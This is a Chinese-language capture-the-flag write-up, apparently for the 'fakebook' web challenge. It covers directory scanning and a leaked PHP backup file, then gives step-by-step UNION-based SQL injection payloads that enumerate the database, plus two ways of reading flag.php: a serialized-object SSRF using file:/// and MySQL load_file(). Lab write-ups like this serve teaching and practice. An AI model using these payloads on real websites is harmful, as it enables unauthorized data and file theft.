一.审题
这边先进行测试,login和join都失败了,所以没获取到什么消息。
二.dirsearch工具扫描
所以拿dirsearch扫一下,看看有没有什么文件可以访问。
python3 dirsearch.py -u url
可以看到当前目录下存在flag.php,robots.txt等,访问flag.php,发现空白,所以flag应该是注释,接下去访问一下robots.txt
三.访问可疑文件
这边显示有一个不被允许的备份文件,访问看一下什么内容。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这边题目想给我们的是:同过url去传,并且对于blog有格式要求,需要在末尾拼接域名。
所以从这里我们就可以知道怎么去使用join的这个功能。
四.使用网站功能,寻找渗透点
查看源代码,发现有一个url可以点击跳转。所以我们继续浏览整个网站
发现有一个get方式的传参,参数为no,所以在次进行测试,方向:sql注入,伪协议,模板注入等
这边是sql注入。
五.采用sql注入
查看是否存在sql注入
:
1 and 1=1
正常显示。接下去确认有几行
1 order by 1
1 order by 2
1 order by 3
1 order by 4
1 order by 5
....
在order by 5时显示为错误,order by 4还是正常显示。
接下去看哪里有注入点
-1++union++select 1,2,3,4
方法一:
发现在username下有个正常回显,所以注入点在这里
看数据库:
-1++union++select 1,database(),3,4
显示出数据库名:fakebook
接下去获取表Table:
?no=-1++union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
成功获取到表:users
接下去查column:
-1++union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'
接下去看一下data:
-1++union++select 1,group_concat(data),3,4 from fakebook.users
这边看到的是一个序列化的对象。我们这边是去提取数据库fakebook中表users的第四列data的值。
这边放一个对比,第一个图是单纯数据库有的数据,第三个是我们通过反序列化去进行拼接,username显示2是因为我们的占位符,显示这边有渗透点,然后第二个是四列都去使用占位符,所以我们这边就可以使用反序列化进行,让其去读取我们想要的文件
-1++union++select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
通过查看页面的源代码可以获取到flag:
这边在放两个对比,第一个是通过我们数据库里我们自己join的序列化值去显示的,因为我们join的都是不存在的所以我们这边都是空,并且这边是使用base64进行编码的。
这边讲一下,为什么第四列的渗透为什么会使用这个file:///协议,这边是通过他的哪个bak文件中,代码中使用的是curl
方法二:
因为我们在进行测试时就确定第二列具有注入点,所以我们可以利用这个去看我们的sql版本以及一些信息。如:version(),user(),database()等
如这边发现他的权限是root权限,所以我们可以使用load_file()这个数据库函数
load_file()
是 MySQL/MariaDB 中用于读取服务器本地文件的内置函数,在 SQL 注入场景中常用于获取敏感文件内容。
user()
这是 MySQL/MariaDB 的内置函数,用于返回当前数据库连接的用户信息(格式通常为 用户名@主机名
,如 root@localhost
)。这里用它替换了第二列的占位符,目的是获取数据库用户权限信息。
所以这边就通过得到他的版本为MariaDB并且权限为root最高权限,所以可以通过load_file()函数获取该flag.php
-1++union++select 1,load_file('/var/www/html/flag.php'),3,4
看一下源代码,出结果。
这道题目,我是看了wp的,在加上自己的总结,从这边还是学到不少东西,而且感觉这题就是每一步的设计都是很巧妙,环环相扣的感觉